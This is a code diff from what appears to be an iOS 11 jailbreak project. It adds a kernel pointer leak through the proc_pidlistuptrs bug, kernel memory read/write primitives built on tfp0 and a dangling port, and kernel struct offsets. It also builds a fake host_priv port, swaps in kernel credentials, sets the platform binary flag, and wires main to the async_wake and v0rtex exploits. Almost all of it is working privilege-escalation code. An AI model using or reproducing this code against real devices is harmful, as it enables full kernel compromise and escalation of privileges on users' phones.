msg->hdr.msgh_id = 0x41414141;
msg->body.msgh_descriptor_count = 1;
msg->ool_ports.address = ports;
msg->ool_ports.count = count;
msg->ool_ports.deallocate = 0;
msg->ool_ports.disposition = disposition;
msg->ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg->ool_ports.copy = MACH_MSG_PHYSICAL_COPY;
err = mach_msg(&msg->hdr,
MACH_SEND_MSG | MACH_MSG_OPTION_NONE,
(mach_msg_size_t)sizeof(struct ool_msg),
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
LOG("failed to send message: %s", mach_error_string(err));
exit(EXIT_FAILURE);
}
return q;
}
static int uint64_t_compare(const void* a, const void* b)
{
uint64_t a_val = (*(uint64_t*)a);
uint64_t b_val = (*(uint64_t*)b);
if (a_val < b_val) {
return -1;
}
if (a_val == b_val) {
return 0;
}
return 1;
}
uint64_t find_port_via_proc_pidlistuptrs_bug(mach_port_t port, int disposition)
{
prepare_kqueue();
int n_guesses = 100;
uint64_t* guesses = calloc(1, n_guesses * sizeof(uint64_t));
int valid_guesses = 0;
for (int i = 1; i < n_guesses + 1; i++) {
mach_port_t q = fill_kalloc_with_port_pointer(port, i, disposition);
mach_port_destroy(mach_task_self(), q);
uint64_t leaked = try_leak(i - 1);
//LOG("leaked %016llx", leaked);
// a valid guess is one which looks a bit like a kernel heap pointer
// without the upper byte:
if ((leaked < 0x00ffffff00000000) && (leaked > 0x00ffff0000000000)) {
guesses[valid_guesses++] = leaked | 0xff00000000000000;
}
}
if (valid_guesses == 0) {
LOG("couldn't leak any kernel pointers");
exit(EXIT_FAILURE);
}
// return the most frequent guess
qsort(guesses, valid_guesses, sizeof(uint64_t), uint64_t_compare);
uint64_t best_guess = guesses[0];
int best_guess_count = 1;
uint64_t current_guess = guesses[0];
int current_guess_count = 1;
for (int i = 1; i < valid_guesses; i++) {
if (guesses[i] == guesses[i - 1]) {
current_guess_count++;
if (current_guess_count > best_guess_count) {
best_guess = current_guess;
best_guess_count = current_guess_count;
}
} else {
current_guess = guesses[i];
current_guess_count = 1;
}
}
//LOG("best guess is: 0x%016llx with %d%% of the valid guesses for it", best_guess, (best_guess_count*100)/valid_guesses);
free(guesses);
return best_guess;
}
uint64_t find_port_via_kmem_read(mach_port_name_t port)
{
uint64_t task_port_addr = task_self_addr();
uint64_t task_addr = ReadKernel64(task_port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = port >> 8;
const int sizeof_ipc_entry_t = 0x18;
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
return port_addr;
}
uint64_t find_port_address(mach_port_t port, int disposition)
{
if (have_kmem_read()) {
return find_port_via_kmem_read(port);
}
return find_port_via_proc_pidlistuptrs_bug(port, disposition);
}

View File

@ -0,0 +1,8 @@
#ifndef find_port_h
#define find_port_h
#include <mach/mach.h>
uint64_t find_port_address(mach_port_t port, int disposition);
#endif /* find_port_h */

View File

@ -0,0 +1,309 @@
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "kmem.h"
#include "kutils.h"
#include "common.h"
#include <CoreFoundation/CoreFoundation.h>
extern void NSLog(CFStringRef, ...);
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
// the exploit bootstraps the full kernel memory read/write with a fake
// task which just allows reading via the bsd_info->pid trick
// this first port is kmem_read_port
mach_port_t kmem_read_port = MACH_PORT_NULL;
void prepare_rk_via_kmem_read_port(mach_port_t port)
{
kmem_read_port = port;
}
mach_port_t tfp0 = MACH_PORT_NULL;
void prepare_rwk_via_tfp0(mach_port_t port)
{
tfp0 = port;
}
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0)
{
tfp0 = fake_tfp0;
}
bool have_kmem_read()
{
return (kmem_read_port != MACH_PORT_NULL) || (tfp0 != MACH_PORT_NULL);
}
bool have_kmem_write()
{
return (tfp0 != MACH_PORT_NULL);
}
size_t kread(uint64_t where, void* p, size_t size)
{
int rv;
size_t offset = 0;
while (offset < size) {
mach_vm_size_t sz, chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_read_overwrite(tfp0,
where + offset,
chunk,
(mach_vm_address_t)p + offset,
&sz);
if (rv || sz == 0) {
LOG("error reading kernel @%p", (void*)(offset + where));
break;
}
offset += sz;
}
return offset;
}
size_t kwrite(uint64_t where, const void* p, size_t size)
{
int rv;
size_t offset = 0;
while (offset < size) {
size_t chunk = 2048;
if (chunk > size - offset) {
chunk = size - offset;
}
rv = mach_vm_write(tfp0,
where + offset,
(mach_vm_offset_t)p + offset,
(mach_msg_type_number_t)chunk);
if (rv) {
LOG("error writing kernel @%p", (void*)(offset + where));
break;
}
offset += chunk;
}
return offset;
}
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
sleep(3);
return false;
}
return (kwrite(kaddr, buffer, length) == length);
}
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length)
{
return (kread(kaddr, buffer, length) == length);
}
void WriteKernel32(uint64_t kaddr, uint32_t val)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
sleep(3);
return;
}
wkbuffer(kaddr, &val, sizeof(val));
}
void WriteKernel64(uint64_t kaddr, uint64_t val)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to write to kernel memory before any kernel memory write primitives available");
sleep(3);
return;
}
wkbuffer(kaddr, &val, sizeof(val));
}
uint32_t rk32_via_kmem_read_port(uint64_t kaddr)
{
kern_return_t err;
if (kmem_read_port == MACH_PORT_NULL) {
LOG("kmem_read_port not set, have you called prepare_rk?");
sleep(10);
exit(EXIT_FAILURE);
}
mach_port_context_t context = (mach_port_context_t)kaddr - 0x10;
err = mach_port_set_context(mach_task_self(), kmem_read_port, context);
if (err != KERN_SUCCESS) {
LOG("error setting context off of dangling port: %x %s", err, mach_error_string(err));
sleep(10);
exit(EXIT_FAILURE);
}
// now do the read:
uint32_t val = 0;
err = pid_for_task(kmem_read_port, (int*)&val);
if (err != KERN_SUCCESS) {
LOG("error calling pid_for_task %x %s", err, mach_error_string(err));
sleep(10);
exit(EXIT_FAILURE);
}
return val;
}
uint32_t rk32_via_tfp0(uint64_t kaddr)
{
uint32_t val = 0;
rkbuffer(kaddr, &val, sizeof(val));
return val;
}
uint64_t rk64_via_kmem_read_port(uint64_t kaddr)
{
uint64_t lower = rk32_via_kmem_read_port(kaddr);
uint64_t higher = rk32_via_kmem_read_port(kaddr + 4);
uint64_t full = ((higher << 32) | lower);
return full;
}
uint64_t rk64_via_tfp0(uint64_t kaddr)
{
uint64_t val = 0;
rkbuffer(kaddr, &val, sizeof(val));
return val;
}
uint32_t ReadKernel32(uint64_t kaddr)
{
if (tfp0 != MACH_PORT_NULL) {
return rk32_via_tfp0(kaddr);
}
if (kmem_read_port != MACH_PORT_NULL) {
return rk32_via_kmem_read_port(kaddr);
}
LOG("attempt to read kernel memory but no kernel memory read primitives available");
sleep(3);
return 0;
}
uint64_t ReadKernel64(uint64_t kaddr)
{
if (tfp0 != MACH_PORT_NULL) {
return rk64_via_tfp0(kaddr);
}
if (kmem_read_port != MACH_PORT_NULL) {
return rk64_via_kmem_read_port(kaddr);
}
LOG("attempt to read kernel memory but no kernel memory read primitives available");
sleep(3);
return 0;
}
const uint64_t kernel_addr_space_base = 0xffff000000000000;
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length)
{
if (dest >= kernel_addr_space_base) {
// copy to kernel:
wkbuffer(dest, (void*)src, length);
} else {
// copy from kernel
rkbuffer(src, (void*)dest, length);
}
}
uint64_t kmem_alloc(uint64_t size)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
sleep(3);
return 0;
}
kern_return_t err;
mach_vm_address_t addr = 0;
mach_vm_size_t ksize = round_page_kernel(size);
err = mach_vm_allocate(tfp0, &addr, ksize, VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return 0;
}
return addr;
}
uint64_t kmem_alloc_wired(uint64_t size)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to allocate kernel memory before any kernel memory write primitives available");
sleep(3);
return 0;
}
kern_return_t err;
mach_vm_address_t addr = 0;
mach_vm_size_t ksize = round_page_kernel(size);
LOG("vm_kernel_page_size: %lx", vm_kernel_page_size);
err = mach_vm_allocate(tfp0, &addr, ksize + 0x4000, VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) {
LOG("unable to allocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return 0;
}
LOG("allocated address: %llx", addr);
addr += 0x3fff;
addr &= ~0x3fffull;
LOG("address to wire: %llx", addr);
err = mach_vm_wire(fake_host_priv(), tfp0, addr, ksize, VM_PROT_READ | VM_PROT_WRITE);
if (err != KERN_SUCCESS) {
LOG("unable to wire kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return 0;
}
return addr;
}
void kmem_free(uint64_t kaddr, uint64_t size)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to deallocate kernel memory before any kernel memory write primitives available");
sleep(3);
return;
}
kern_return_t err;
mach_vm_size_t ksize = round_page_kernel(size);
err = mach_vm_deallocate(tfp0, kaddr, ksize);
if (err != KERN_SUCCESS) {
LOG("unable to deallocate kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return;
}
}
void kmem_protect(uint64_t kaddr, uint32_t size, int prot)
{
if (tfp0 == MACH_PORT_NULL) {
LOG("attempt to change protection of kernel memory before any kernel memory write primitives available");
sleep(3);
return;
}
kern_return_t err;
err = mach_vm_protect(tfp0, (mach_vm_address_t)kaddr, (mach_vm_size_t)size, 0, (vm_prot_t)prot);
if (err != KERN_SUCCESS) {
LOG("unable to change protection of kernel memory via tfp0: %s %x", mach_error_string(err), err);
sleep(3);
return;
}
}

View File

@ -0,0 +1,80 @@
#ifndef KernelMemory_h
#define KernelMemory_h
#include <mach/mach.h>
#include <stdbool.h>
/***** mach_vm.h *****/
kern_return_t mach_vm_read(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
vm_offset_t* data,
mach_msg_type_number_t* dataCnt);
kern_return_t mach_vm_write(
vm_map_t target_task,
mach_vm_address_t address,
vm_offset_t data,
mach_msg_type_number_t dataCnt);
kern_return_t mach_vm_read_overwrite(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
mach_vm_address_t data,
mach_vm_size_t* outsize);
kern_return_t mach_vm_allocate(
vm_map_t target,
mach_vm_address_t* address,
mach_vm_size_t size,
int flags);
kern_return_t mach_vm_deallocate(
vm_map_t target,
mach_vm_address_t address,
mach_vm_size_t size);
kern_return_t mach_vm_protect(
vm_map_t target_task,
mach_vm_address_t address,
mach_vm_size_t size,
boolean_t set_maximum,
vm_prot_t new_protection);
extern mach_port_t tfp0;
size_t kread(uint64_t where, void* p, size_t size);
size_t kwrite(uint64_t where, const void* p, size_t size);
#define rk32(kaddr) ReadKernel32(kaddr)
#define rk64(kaddr) ReadKernel64(kaddr)
uint32_t ReadKernel32(uint64_t kaddr);
uint64_t ReadKernel64(uint64_t kaddr);
#define wk32(kaddr, val) WriteKernel32(kaddr, val)
#define wk64(kaddr, val) WriteKernel64(kaddr, val)
void WriteKernel32(uint64_t kaddr, uint32_t val);
void WriteKernel64(uint64_t kaddr, uint64_t val);
bool wkbuffer(uint64_t kaddr, void* buffer, size_t length);
bool rkbuffer(uint64_t kaddr, void* buffer, size_t length);
void kmemcpy(uint64_t dest, uint64_t src, uint32_t length);
void kmem_protect(uint64_t kaddr, uint32_t size, int prot);
uint64_t kmem_alloc(uint64_t size);
uint64_t kmem_alloc_wired(uint64_t size);
void kmem_free(uint64_t kaddr, uint64_t size);
void prepare_rk_via_kmem_read_port(mach_port_t port);
void prepare_rwk_via_tfp0(mach_port_t port);
void prepare_for_rw_with_fake_tfp0(mach_port_t fake_tfp0);
// query whether kmem read or write is present
bool have_kmem_read(void);
bool have_kmem_write(void);
#endif

View File

@ -0,0 +1,75 @@
#ifndef koffsets_h
#define koffsets_h
enum kstruct_offset {
/* struct task */
KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
KSTRUCT_OFFSET_TASK_REF_COUNT,
KSTRUCT_OFFSET_TASK_ACTIVE,
KSTRUCT_OFFSET_TASK_VM_MAP,
KSTRUCT_OFFSET_TASK_NEXT,
KSTRUCT_OFFSET_TASK_PREV,
KSTRUCT_OFFSET_TASK_ITK_SPACE,
KSTRUCT_OFFSET_TASK_BSD_INFO,
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR,
KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE,
KSTRUCT_OFFSET_TASK_TFLAGS,
/* struct ipc_port */
KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
/* struct proc */
KSTRUCT_OFFSET_PROC_PID,
KSTRUCT_OFFSET_PROC_P_FD,
KSTRUCT_OFFSET_PROC_TASK,
KSTRUCT_OFFSET_PROC_UCRED,
KSTRUCT_OFFSET_PROC_P_LIST,
/* struct filedesc */
KSTRUCT_OFFSET_FILEDESC_FD_OFILES,
/* struct fileproc */
KSTRUCT_OFFSET_FILEPROC_F_FGLOB,
/* struct fileglob */
KSTRUCT_OFFSET_FILEGLOB_FG_DATA,
/* struct socket */
KSTRUCT_OFFSET_SOCKET_SO_PCB,
/* struct pipe */
KSTRUCT_OFFSET_PIPE_BUFFER,
/* struct ipc_space */
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE,
KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE,
/* struct vnode */
KSTRUCT_OFFSET_VNODE_V_MOUNT,
KSTRUCT_OFFSET_VNODE_VU_SPECINFO,
KSTRUCT_OFFSET_VNODE_V_LOCK,
/* struct specinfo */
KSTRUCT_OFFSET_SPECINFO_SI_FLAGS,
/* struct mount */
KSTRUCT_OFFSET_MOUNT_MNT_FLAG,
/* struct host */
KSTRUCT_OFFSET_HOST_SPECIAL,
KFREE_ADDR_OFFSET,
};
int koffset(enum kstruct_offset offset);
void offsets_init(void);
#endif

View File

@ -0,0 +1,147 @@
#import <Foundation/Foundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/sysctl.h>
#include <sys/utsname.h>
#include "koffsets.h"
#include "common.h"
#define LOG(str, args...) do { NSLog(@"[*] " str "\n", ##args); } while(false)
int* offsets = NULL;
int kstruct_offsets_11_0[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
0x30, // KSTRUCT_OFFSET_TASK_PREV,
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
0x10, // KSTRUCT_OFFSET_PROC_PID,
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x100, // KSTRUCT_OFFSET_PROC_UCRED
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x6c, // KFREE_ADDR_OFFSET
};
int kstruct_offsets_11_3[] = {
0xb, // KSTRUCT_OFFSET_TASK_LCK_MTX_TYPE,
0x10, // KSTRUCT_OFFSET_TASK_REF_COUNT,
0x14, // KSTRUCT_OFFSET_TASK_ACTIVE,
0x20, // KSTRUCT_OFFSET_TASK_VM_MAP,
0x28, // KSTRUCT_OFFSET_TASK_NEXT,
0x30, // KSTRUCT_OFFSET_TASK_PREV,
0x308, // KSTRUCT_OFFSET_TASK_ITK_SPACE
0x368, // KSTRUCT_OFFSET_TASK_BSD_INFO,
0x3a8, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_ADDR
0x3b0, // KSTRUCT_OFFSET_TASK_ALL_IMAGE_INFO_SIZE
0x3a0, // KSTRUCT_OFFSET_TASK_TFLAGS
0x0, // KSTRUCT_OFFSET_IPC_PORT_IO_BITS,
0x4, // KSTRUCT_OFFSET_IPC_PORT_IO_REFERENCES,
0x40, // KSTRUCT_OFFSET_IPC_PORT_IKMQ_BASE,
0x50, // KSTRUCT_OFFSET_IPC_PORT_MSG_COUNT,
0x60, // KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER,
0x68, // KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT,
0x88, // KSTRUCT_OFFSET_IPC_PORT_IP_PREMSG,
0x90, // KSTRUCT_OFFSET_IPC_PORT_IP_CONTEXT,
0xa0, // KSTRUCT_OFFSET_IPC_PORT_IP_SRIGHTS,
0x10, // KSTRUCT_OFFSET_PROC_PID,
0x108, // KSTRUCT_OFFSET_PROC_P_FD
0x18, // KSTRUCT_OFFSET_PROC_TASK
0x100, // KSTRUCT_OFFSET_PROC_UCRED
0x8, // KSTRUCT_OFFSET_PROC_P_LIST
0x0, // KSTRUCT_OFFSET_FILEDESC_FD_OFILES
0x8, // KSTRUCT_OFFSET_FILEPROC_F_FGLOB
0x38, // KSTRUCT_OFFSET_FILEGLOB_FG_DATA
0x10, // KSTRUCT_OFFSET_SOCKET_SO_PCB
0x10, // KSTRUCT_OFFSET_PIPE_BUFFER
0x14, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE_SIZE
0x20, // KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE
0xd8, // KSTRUCT_OFFSET_VNODE_V_MOUNT
0x78, // KSTRUCT_OFFSET_VNODE_VU_SPECINFO
0x0, // KSTRUCT_OFFSET_VNODE_V_LOCK
0x10, // KSTRUCT_OFFSET_SPECINFO_SI_FLAGS
0x70, // KSTRUCT_OFFSET_MOUNT_MNT_FLAG
0x10, // KSTRUCT_OFFSET_HOST_SPECIAL
0x7c, // KFREE_ADDR_OFFSET
};
int koffset(enum kstruct_offset offset)
{
if (offsets == NULL) {
LOG("need to call offsets_init() prior to querying offsets");
return 0;
}
return offsets[offset];
}
void offsets_init()
{
if (kCFCoreFoundationVersionNumber >= 1452.23) {
LOG("offsets selected for iOS 11.3 or above");
offsets = kstruct_offsets_11_3;
} else if (kCFCoreFoundationVersionNumber >= 1443.00) {
LOG("offsets selected for iOS 11.0 to 11.2.6");
offsets = kstruct_offsets_11_0;
} else {
LOG("iOS version too low, 11.0 required");
exit(EXIT_FAILURE);
}
}

View File

@ -0,0 +1,155 @@
#include <CoreFoundation/CoreFoundation.h>
#include <stdio.h>
#include <stdlib.h>
#include <mach/mach.h>
#include <mach-o/loader.h>
/*#include <common.h>*/
/*#include <iokit.h>*/
#include <CoreFoundation/CoreFoundation.h>
extern void NSLog(CFStringRef, ...);
#define LOG(str, args...) do { NSLog(CFSTR("[*] " str "\n"), ##args); } while(false)
#include "kmem.h"
#include "koffsets.h"
#include "kutils.h"
#include "find_port.h"
#define TF_PLATFORM 0x00000400 /* task is a platform binary */
uint64_t the_realhost;
uint64_t kernel_base;
uint64_t kernel_slide;
offsets_t offs;
uint64_t cached_task_self_addr = 0;
uint64_t task_self_addr()
{
if (cached_task_self_addr == 0) {
cached_task_self_addr = have_kmem_read() ? get_address_of_port(getpid(), mach_task_self()) : find_port_address(mach_task_self(), MACH_MSG_TYPE_COPY_SEND);
LOG("task self: 0x%llx", cached_task_self_addr);
}
return cached_task_self_addr;
}
uint64_t ipc_space_kernel()
{
return ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER));
}
uint64_t current_thread()
{
uint64_t thread_port = have_kmem_read() ? get_address_of_port(getpid(), mach_thread_self()) : find_port_address(mach_thread_self(), MACH_MSG_TYPE_COPY_SEND);
return ReadKernel64(thread_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
}
uint64_t find_kernel_base()
{
uint64_t hostport_addr = have_kmem_read() ? get_address_of_port(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
the_realhost = realhost;
uint64_t base = realhost & ~0xfffULL;
// walk down to find the magic:
for (int i = 0; i < 0x10000; i++) {
if (ReadKernel32(base) == MACH_HEADER_MAGIC) {
return base;
}
base -= 0x1000;
}
return 0;
}
mach_port_t fake_host_priv_port = MACH_PORT_NULL;
// build a fake host priv port
mach_port_t fake_host_priv()
{
if (fake_host_priv_port != MACH_PORT_NULL) {
return fake_host_priv_port;
}
// get the address of realhost:
uint64_t hostport_addr = have_kmem_read() ? get_address_of_port(getpid(), mach_host_self()) : find_port_address(mach_host_self(), MACH_MSG_TYPE_COPY_SEND);
uint64_t realhost = ReadKernel64(hostport_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
// allocate a port
mach_port_t port = MACH_PORT_NULL;
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &port);
if (err != KERN_SUCCESS) {
LOG("failed to allocate port");
return MACH_PORT_NULL;
}
// get a send right
mach_port_insert_right(mach_task_self(), port, port, MACH_MSG_TYPE_MAKE_SEND);
// locate the port
uint64_t port_addr = have_kmem_read() ? get_address_of_port(getpid(), port) : find_port_address(port, MACH_MSG_TYPE_COPY_SEND);
// change the type of the port
#define IKOT_HOST_PRIV 4
#define IO_ACTIVE 0x80000000
WriteKernel32(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IO_BITS), IO_ACTIVE | IKOT_HOST_PRIV);
// change the space of the port
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_RECEIVER), ipc_space_kernel());
// set the kobject
WriteKernel64(port_addr + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), realhost);
fake_host_priv_port = port;
return port;
}
int message_size_for_kalloc_size(int kalloc_size)
{
return ((3 * kalloc_size) / 4) - 0x74;
}
uint64_t get_proc_struct_for_pid(pid_t pid)
{
uint64_t proc = ReadKernel64(ReadKernel64(GETOFFSET(kernel_task)) + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
while (proc) {
if (ReadKernel32(proc + koffset(KSTRUCT_OFFSET_PROC_PID)) == pid)
return proc;
proc = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_P_LIST));
}
return 0;
}
uint64_t get_address_of_port(pid_t pid, mach_port_t port)
{
uint64_t proc_struct_addr = get_proc_struct_for_pid(pid);
uint64_t task_addr = ReadKernel64(proc_struct_addr + koffset(KSTRUCT_OFFSET_PROC_TASK));
uint64_t itk_space = ReadKernel64(task_addr + koffset(KSTRUCT_OFFSET_TASK_ITK_SPACE));
uint64_t is_table = ReadKernel64(itk_space + koffset(KSTRUCT_OFFSET_IPC_SPACE_IS_TABLE));
uint32_t port_index = port >> 8;
const int sizeof_ipc_entry_t = 0x18;
uint64_t port_addr = ReadKernel64(is_table + (port_index * sizeof_ipc_entry_t));
return port_addr;
}
uint64_t get_kernel_cred_addr()
{
uint64_t kernel_proc_struct_addr = ReadKernel64(ReadKernel64(GETOFFSET(kernel_task)) + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO));
return ReadKernel64(kernel_proc_struct_addr + koffset(KSTRUCT_OFFSET_PROC_UCRED));
}
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr)
{
uint64_t orig_creds = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED));
WriteKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_UCRED), cred_addr);
return orig_creds;
}
void set_platform_binary(uint64_t proc)
{
uint64_t task_struct_addr = ReadKernel64(proc + koffset(KSTRUCT_OFFSET_PROC_TASK));
uint32_t task_t_flags = ReadKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS));
task_t_flags |= TF_PLATFORM;
WriteKernel32(task_struct_addr + koffset(KSTRUCT_OFFSET_TASK_TFLAGS), task_t_flags);
}

View File

@ -0,0 +1,46 @@
#ifndef kutils_h
#define kutils_h
#include "common.h"
#include <mach/mach.h>
#define SETOFFSET(offset, val) (offs.offset = val)
#define GETOFFSET(offset) offs.offset
typedef struct {
kptr_t trustcache;
kptr_t OSBoolean_True;
kptr_t osunserializexml;
kptr_t smalloc;
kptr_t add_x0_x0_0x40_ret;
kptr_t zone_map_ref;
kptr_t vfs_context_current;
kptr_t vnode_lookup;
kptr_t vnode_put;
kptr_t kernel_task;
kptr_t shenanigans;
kptr_t lck_mtx_lock;
kptr_t lck_mtx_unlock;
} offsets_t;
extern offsets_t offs;
extern uint64_t kernel_base;
extern uint64_t kernel_slide;
uint64_t task_self_addr(void);
uint64_t ipc_space_kernel(void);
uint64_t find_kernel_base(void);
uint64_t current_thread(void);
mach_port_t fake_host_priv(void);
int message_size_for_kalloc_size(int kalloc_size);
uint64_t get_proc_struct_for_pid(pid_t pid);
uint64_t get_address_of_port(pid_t pid, mach_port_t port);
uint64_t get_kernel_cred_addr(void);
uint64_t give_creds_to_process_at_addr(uint64_t proc, uint64_t cred_addr);
void set_platform_binary(uint64_t proc);
#endif /* kutils_h */

View File

@ -17,16 +17,18 @@
#include "magic.h"
#include "liboffsetfinder64/getoffsets.h"
#include "v0rtex.h"
#include "async_wake.h"
#include "kernel_utils.h"
#include "patchfinder64.h"
#include "trustcache.h"
//#define DEBUG 1
#define DEBUG 1
#ifdef DEBUG
#define SLOG(msg, ...) \
do { \
if (getuid() == 0) { \
NSLog(@"GREPME" msg "\n", __VA_ARGS__); \
if (getuid() == 123) { \
FILE* logfile = fopen("/var/mobile/log.txt", "a");\
fprintf(logfile,msg, __VA_ARGS__); \
fclose(logfile); \
@ -95,14 +97,20 @@ void fail(uint64_t x) {
int main() {
*(volatile int*)(0xbad000000000ull + 0xfaf) = 0xdead;
SLOG("%s", "Starting...\n");
offsets_t *off = get_offsets();
SLOG("%s", "Got offsets\n");
mach_port_t tfp0 = MACH_PORT_NULL;
uint64_t kbase = 0;
kern_return_t ret = exploit(off, &tfp0, &kbase);
kern_return_t ret = KERN_FAILURE;
if (kCFCoreFoundationVersionNumber >= 1443.00) {
ret = async_wake(&tfp0);
} else {
offsets_t *off = get_offsets();
SLOG("%s", "Got offsets\n");
ret = v0rtex(off, &tfp0, &kbase);
}
if(ret != KERN_SUCCESS || !MACH_PORT_VALID(tfp0))
{
SLOG("%s", "exploit failed\n");

View File

@ -9,7 +9,7 @@
#ifdef __cplusplus
extern "C"
#endif
kern_return_t exploit(offsets_t *off, mach_port_t* tfp0, uint64_t* kernelbase);
kern_return_t v0rtex(offsets_t *off, mach_port_t* tfp0, uint64_t* kernelbase);
#endif

View File

@ -624,7 +624,7 @@ kern_return_t readback_fakeport(io_connect_t client, uint32_t pageId, uint64_t o
